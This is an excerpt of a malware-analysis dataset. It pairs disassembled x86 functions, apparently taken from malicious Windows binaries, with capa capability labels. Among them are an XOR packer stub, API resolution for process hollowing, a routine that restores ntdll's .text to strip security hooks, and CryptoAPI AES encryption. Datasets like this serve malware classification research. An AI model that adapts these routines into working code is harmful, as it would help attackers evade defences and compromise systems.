joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d600
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, dword [esp + 0x18]
cmp eax, 3
ja case.default.0x40d611
jmp dword [eax*4 + 0x40f9d0]
cmp dword [0x413088], 0
je 0x40d713
push 0x41308c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [0x4130a4]
test edi, edi
je 0x40d708
mov ebx, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40d65b
mov edi, dword [edi + 8]
test edi, edi
je 0x40d708
push dword [edi]
call ebx
mov esi, eax
call ebp
test eax, eax
jne 0x40d650
test esi, esi
je 0x40d650
mov ecx, dword [edi + 4]
call dword [section..00cfg]
push esi
call ecx
add esp, 4
jmp 0x40d650
cmp dword [0x413088], 0
jne 0x40d690
push 0x41308c
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x413088], 1
jmp case.default.0x40d611
call fcn.0040cec0
jmp case.default.0x40d611
cmp dword [0x413088], 0
je case.default.0x40d611
push 0x41308c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [0x4130a4]
test edi, edi
je 0x40d763
mov ebx, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40d6e7
mov edi, dword [edi + 8]
test edi, edi
je 0x40d763
push dword [edi]
call ebx
mov esi, eax
call ebp
test eax, eax
jne 0x40d6e0
test esi, esi
je 0x40d6e0
mov ecx, dword [edi + 4]
call dword [section..00cfg]
push esi
call ecx
add esp, 4
jmp 0x40d6e0
push 0x41308c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [0x413088]
cmp eax, 1
jne case.default.0x40d611
mov eax, dword [0x4130a4]
test eax, eax
je 0x40d742
nop word cs:[eax + eax]
mov esi, dword [eax + 8]
push eax
call sub.msvcrt.dll_free
add esp, 4
mov eax, esi
test esi, esi
jne 0x40d730
mov dword [0x4130a4], 0
mov dword [0x413088], 0
push 0x41308c
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
jmp case.default.0x40d611
push 0x41308c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, 1
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x40d8a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push edi
push esi
mov esi, dword [0x40e004]
movzx ecx, word [esi]
xor eax, eax
cmp ecx, 0x5a4d
jne 0x40d906
mov ecx, dword [esi + 0x3c]
cmp dword [esi + ecx], 0x4550
jne 0x40d906
add esi, ecx
movzx ecx, word [esi + 0x18]
cmp ecx, 0x10b
jne 0x40d906
movzx ecx, word [esi + 6]
test ecx, ecx
je 0x40d906
mov edx, dword [esp + 0xc]
sub edx, dword [0x40e004]
movzx edi, word [esi + 0x14]
add esi, edi
add esi, 0x18
jmp 0x40d8f6
add esi, 0x28
dec ecx
je 0x40d906
mov edi, dword [esi + 0xc]
cmp edi, edx
ja 0x40d8f0
add edi, dword [esi + 8]
cmp edi, edx
jbe 0x40d8f0
mov eax, esi
pop esi
pop edi
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ed0
nop
mov ecx, 0x53ef11e1
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0xac926f3
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.Advapi32.dll
mov dword [0x408038], 0x4071b0
mov dword [0x40803c], 0x4071b8
mov dword [0x408040], 0x4071c0
mov dword [0x408044], 0x4071c8
mov dword [0x408048], 0x4071d0
mov dword [0x40804c], 0x4071d8
mov dword [0x408050], 0x4071e8
mov dword [0x408054], 0x407204
mov dword [0x408058], 0x40721c
mov dword [0x40805c], 0x407234
mov dword [0x408060], 0x407248
mov dword [0x408064], 0x407258
mov dword [0x408068], 0x407260
mov dword [0x40806c], 0x407274
mov dword [0x408070], 0x407284
mov dword [0x408074], 0x407294
mov dword [0x408078], 0x4072ac
mov dword [0x40807c], 0x4072b8
mov dword [0x408018], 0x4072d4
mov dword [0x40801c], 0x4072f4
mov dword [0x408020], 0x40730c
mov dword [0x408024], 0x40731c
mov dword [0x408028], 0x407350
mov dword [0x40802c], 0x407364
mov dword [0x408030], 0x407374
call esi
push str.kernel32.dll
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
lea eax, [ebp - 0x6c]
push eax
mov eax, 0xb
call fcn.004012b0
add esp, 4
lea ecx, [ebp - 0x6c]
push ecx
call esi
lea edx, [ebp - 0x6c]
mov ebx, eax
push edx
mov eax, 0x10
call fcn.004012b0
add esp, 4
lea eax, [ebp - 0x6c]
push eax
call esi
lea ecx, [ebp - 0x6c]
mov dword [ebp - 8], eax
push ecx
mov eax, 5
call fcn.004012b0
mov eax, dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 4
lea edx, [ebp - 0x6c]
push edx
push eax
call esi
lea ecx, [ebp - 0x6c]
mov dword [0x4080ac], eax
push ecx
mov eax, 6
call fcn.004012b0
add esp, 4
lea edx, [ebp - 0x6c]
push edx
push edi
call esi
mov dword [0x4080a8], eax
lea eax, [ebp - 0x6c]
push eax
mov eax, 7
call fcn.004012b0
add esp, 4
lea ecx, [ebp - 0x6c]
push ecx
push edi
call esi
lea edx, [ebp - 0x6c]
mov dword [0x4080a4], eax
push edx
mov eax, 8
call fcn.004012b0
add esp, 4
lea eax, [ebp - 0x6c]
push eax
push edi
call esi
lea ecx, [ebp - 0x6c]
mov dword [0x4080a0], eax
push ecx
mov eax, 9
call fcn.004012b0
add esp, 4
lea edx, [ebp - 0x6c]
push edx
push edi
call esi
mov dword [0x40809c], eax
lea eax, [ebp - 0x6c]
push eax
mov eax, 0xa
call fcn.004012b0
add esp, 4
lea ecx, [ebp - 0x6c]
push ecx
push edi
call esi
lea edx, [ebp - 0x6c]
mov dword [0x408098], eax
push edx
mov eax, 0x11
call fcn.004012b0
add esp, 4
lea eax, [ebp - 0x6c]
push eax
push edi
call esi
lea ecx, [ebp - 0x6c]
mov dword [0x408084], eax
push ecx
mov eax, 0xc
call fcn.004012b0
add esp, 4
lea edx, [ebp - 0x6c]
push edx
push ebx
call esi
mov dword [0x408094], eax
lea eax, [ebp - 0x6c]
push eax
mov eax, 0xd
call fcn.004012b0
add esp, 4
lea ecx, [ebp - 0x6c]
push ecx
push ebx
call esi
lea edx, [ebp - 0x6c]
mov dword [0x408090], eax
push edx
mov eax, 0xe
call fcn.004012b0
add esp, 4
lea eax, [ebp - 0x6c]
push eax
push ebx
call esi
lea ecx, [ebp - 0x6c]
mov dword [0x40808c], eax
push ecx
mov eax, 0xf
call fcn.004012b0
add esp, 4
lea edx, [ebp - 0x6c]
push edx
mov eax, dword [ebp - 8]
push eax
call esi
pop edi
pop esi
mov dword [0x408088], eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403f00
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
push 0xf0000000
push 0x18
push 0
push 0
mov dword [esi], 0
push esi
mov dword [ebx], 0
call edi
test eax, eax
jne 0x403f4e
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x403f93
push 0xf0000008
push 0x18
push 0
push 0
push esi
call edi
test eax, eax
je 0x403f93
cmp dword [ebp + 8], 0
je 0x403fb4
cmp dword [ebp + 0xc], 0
je 0x403fb4
mov edi, dword [esi]
lea eax, [ebp - 4]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_CryptGetUserKey]
test eax, eax
jne 0x403f9a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x8009000d
jne 0x403f8d
lea ecx, [ebp - 4]
push ecx
push 1
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
jne 0x403f9a
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov ecx, dword [esi]
push ebx
push 0
push 0
push edx
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x403f8d
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x403fc0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
xor edi, edi
cmp dword [ebp + 8], edi
jne 0x403fd5
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
push 0xf0000000
push 0x18
push edi
push edi
lea eax, [ebp - 4]
push eax
mov dword [ebp - 4], edi
mov dword [ebp - 0xc], edi
call esi
test eax, eax
jne 0x404022
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
call ebx
cmp eax, 0x80090016
jne 0x4040bb
push 0xf0000008
push 0x18
push edi
push edi
lea ecx, [ebp - 4]
push ecx
call esi
test eax, eax
je 0x4040bb
mov eax, dword [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_CryptGenKey]
lea edx, [ebp - 0xc]
push edx
push 1
push 0x6610
push eax
call ebx
test eax, eax
je 0x4040b5
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
mov dword [ebp - 0x10], edi
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_CryptGetUserKey]
test eax, eax
jne 0x40406e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x8009000d
jne 0x40406e
lea edx, [ebp - 0x10]
push edx
push 1
push 1
push esi
call ebx
mov ecx, dword [ebp - 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_CryptExportKey]
lea eax, [ebp - 8]
push eax
push edi
push edi
push 8
push edi
push ecx
mov dword [ebp - 8], edi
call esi
test eax, eax
je 0x4040b5
mov edx, dword [ebp - 8]
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 8]
push edx
push eax
push edi
push 8
mov dword [ecx], eax
mov eax, dword [ebp - 0xc]
push edi
push eax
call esi
test eax, eax
jne 0x4040c4
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
pop ebx
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 0xc]
mov dword [edx], ecx
cmp eax, edi
je 0x4040db
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop esi
pop ebx
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4040f0
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [edi]
mov ecx, dword [ebx]
push eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push 0
push 0
push 1
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x40411f
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push esi
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov esi, eax
mov eax, dword [edi]
push eax
push edx
push esi
call fcn.004058b0
mov eax, dword [ebp - 4]
mov ecx, dword [ebx]
add esp, 0xc
push eax
push edi
push esi
push 0
push 1
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x40416d
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov dword [edx], esi
mov dword [edi], eax
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404190
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a8
push 0x104
lea eax, [ebp - 0x2a0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x94]
push ecx
mov eax, 3
call fcn.00401320
lea edx, [ebp - 0x2a0]
push edx
lea eax, [ebp - 0x94]
push eax
lea ecx, [ebp - 0x4a8]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
push 0x44
lea edx, [ebp - 0x58]
push 0
push edx
call sub.ntdll.dll_memset
add esp, 0x1c
push 0
mov dword [ebp - 0x58], 0x44
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x58]
push ecx
push 0
push 0
push 0x50
push 0
push 0
push 0
lea edx, [ebp - 0x4a8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4043d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0xa
mov esi, eax
push 0x6e
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
je 0x404465
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x404465
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x40445a
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x78]
mov ecx, dword [ecx + 0x74]
push edx
push ecx
push ebx
call fcn.00404470
add esp, 0xc
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [eax + eax + 2]
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push edi
mov ebx, eax
push esi
push ebx
call fcn.004058b0
mov edx, dword [ebp + 8]
add esp, 0xc
mov dword [edx + 0x60], ebx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x404710
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0xa
mov esi, eax
push 0x6c
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x40481f
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
mov dword [ebp - 8], edi
test edi, edi
je 0x40481e
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x404817
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, eax
push esi
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
mov eax, dword [ebp - 4]
push esi
push eax
push ebx
call fcn.004058b0
mov eax, dword [ebx]
add esp, 0xc
lea ecx, [eax*4 + 4]
push ecx
push 8
mov dword [ebp - 4], eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, dword [ebp + 8]
xor edi, edi
mov dword [edx + 0x68], eax
mov esi, 4
cmp dword [ebp - 4], edi
jbe 0x404814
push 0x10
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x40480e
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x68]
mov dword [edx + edi*4], eax
mov eax, dword [esi + ebx]
mov dword [ebp - 0xc], eax
mov eax, dword [ecx + 0x68]
mov eax, dword [eax + edi*4]
add esi, 4
lea edx, [esi + ebx]
add esi, dword [ebp - 0xc]
mov dword [eax], edx
mov edx, dword [ecx + 0x68]
mov eax, dword [edx + edi*4]
mov edx, dword [esi + ebx]
mov dword [eax + 4], edx
mov edx, dword [ecx + 0x68]
mov edx, dword [edx + edi*4]
add esi, 4
lea eax, [esi + ebx]
mov dword [edx + 8], eax
mov eax, dword [ecx + 0x68]
mov ecx, dword [eax + edi*4]
add esi, dword [ecx + 4]
inc edi
cmp edi, dword [ebp - 4]
jb 0x4047b5
mov edi, dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x412210
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41223d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41223d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x8003b13
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov dword [0x800438c], 0x30
mov dword [0x8004394], 0x8003424
mov dword [0x8004390], 2
mov dword [0x8004398], 0
mov dword [0x800439c], 0
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
jmp 0x8003b56
mov dword [0x80043a0], eax
mov dword [0x80043b4], 0x80041cc
mov dword [0x80043ac], 0xf
mov dword [0x80040ee], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x80043a4], eax
mov dword [0x80043b8], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x80040f6], ebp
mov dword [0x80043a8], eax
push 0x800438c
call dword [sym.imp.user32.dll_RegisterClassExA]
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x800440c], eax
push 0
push dword [0x80040ee]
push 0
push 0
push 0x1ef
push 0x21c
push 0xffffe688
push 0xfffff524
push 0xcf0000
push str.uno_momento
push str.verba
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x8004404], eax
push 1
push dword [0x8004404]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x8004404]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x8003c14
xor edi, edi
lea ebx, [0x80043bc]
jmp 0x8003c2c
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x8003c1e
jmp 0x8003c40
mov eax, dword [0x80043c4]
call 0x8002b1f
ret
Function at 0x401140
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 4], eax
push str.CreateProcessA
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x438f98], eax
push str.VirtualAlloc
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x438f9c], eax
push str.GetThreadContext
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x438fa0], eax
push str.VirtualAllocEx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x438fa4], eax
push str.ResumeThread
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x438fa8], eax
push 0x417344
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x438fac], eax
push str.WriteProcessMemory
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x438fb0], eax
push str.SetThreadContext
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x438fb4], eax
push 0x417378
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x438fb8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esp, ebp
pop ebp
ret
Function at 0x401660
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1120
call fcn.004043b0
mov eax, dword [0x438614]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1114]
push eax
push 0x1000
lea ecx, [ebp - 0x1108]
push ecx
call sub.KERNEL32.dll_K32EnumProcesses
test eax, eax
jne 0x40169a
xor al, al
jmp 0x4017bd
mov edx, dword [ebp - 0x1114]
shr edx, 2
mov dword [ebp - 0x1118], edx
mov dword [ebp - 0x110c], 0
jmp 0x4016c4
mov eax, dword [ebp - 0x110c]
add eax, 1
mov dword [ebp - 0x110c], eax
mov ecx, dword [ebp - 0x110c]
cmp ecx, dword [ebp - 0x1118]
jae 0x4017bb
mov edx, dword [ebp - 0x110c]
cmp dword [ebp + edx*4 - 0x1108], 0
je 0x4017b6
mov eax, dword [str._unknown_]
mov dword [ebp - 0x108], eax
mov ecx, dword [0x417390]
mov dword [ebp - 0x104], ecx
mov dx, word [0x417394]
mov word [ebp - 0x100], dx
push 0xfa
push 0
lea eax, [ebp - 0xfe]
push eax
call fcn.00405060
add esp, 0xc
mov ecx, dword [ebp - 0x110c]
mov edx, dword [ebp + ecx*4 - 0x1108]
push edx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1110], eax
cmp dword [ebp - 0x1110], 0
je 0x4017b6
lea eax, [ebp - 0x1120]
push eax
push 4
lea ecx, [ebp - 0x111c]
push ecx
mov edx, dword [ebp - 0x1110]
push edx
call sub.KERNEL32.dll_K32EnumProcessModules
test eax, eax
je 0x40178e
push 0x104
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp - 0x111c]
push ecx
mov edx, dword [ebp - 0x1110]
push edx
call sub.KERNEL32.dll_K32GetModuleBaseNameA
mov eax, dword [ebp - 0x1110]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x108]
push edx
call fcn.004070e0
add esp, 8
test eax, eax
jne 0x4017b6
mov al, 1
jmp 0x4017bd
jmp 0x4016b5
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004043a0
mov esp, ebp
pop ebp
ret
Function at 0x4017d0
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Overwrite dll .text section to remove hooks
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x10], eax
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push str.c:windows_system32_ntdll.dll
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x1c], eax
push 0
push 0
push 0
push 0x1000002
push 0
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x20], eax
push 0
push 0
push 0
push 4
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x10]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x14], ecx
xor edx, edx
mov word [ebp - 8], dx
jmp 0x401856
mov ax, word [ebp - 8]
add ax, 1
mov word [ebp - 8], ax
movzx ecx, word [ebp - 8]
mov edx, dword [ebp - 0x14]
movzx eax, word [edx + 6]
cmp ecx, eax
jge 0x40192f
mov ecx, dword [ebp - 0x14]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x14]
lea ecx, [eax + edx + 0x18]
movzx edx, word [ebp - 8]
imul eax, edx, 0x28
add ecx, eax
mov dword [ebp - 0xc], ecx
push str..text
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.004070e0
add esp, 8
test eax, eax
jne 0x40192a
mov dword [ebp - 0x18], 0
lea edx, [ebp - 0x18]
push edx
push 0x40
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
add eax, dword [edx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x4018ca
mov byte [ebp - 1], 1
jmp 0x4018ce
mov byte [ebp - 1], 0
mov cl, byte [ebp - 1]
mov byte [ebp - 3], cl
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 8]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x28]
add edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
add ecx, dword [eax + 0xc]
push ecx
call fcn.00404ae0
add esp, 0xc
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 8]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
add ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x401920
mov byte [ebp - 2], 1
jmp 0x401924
mov byte [ebp - 2], 0
mov dl, byte [ebp - 2]
mov byte [ebp - 3], dl
jmp 0x40184a
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret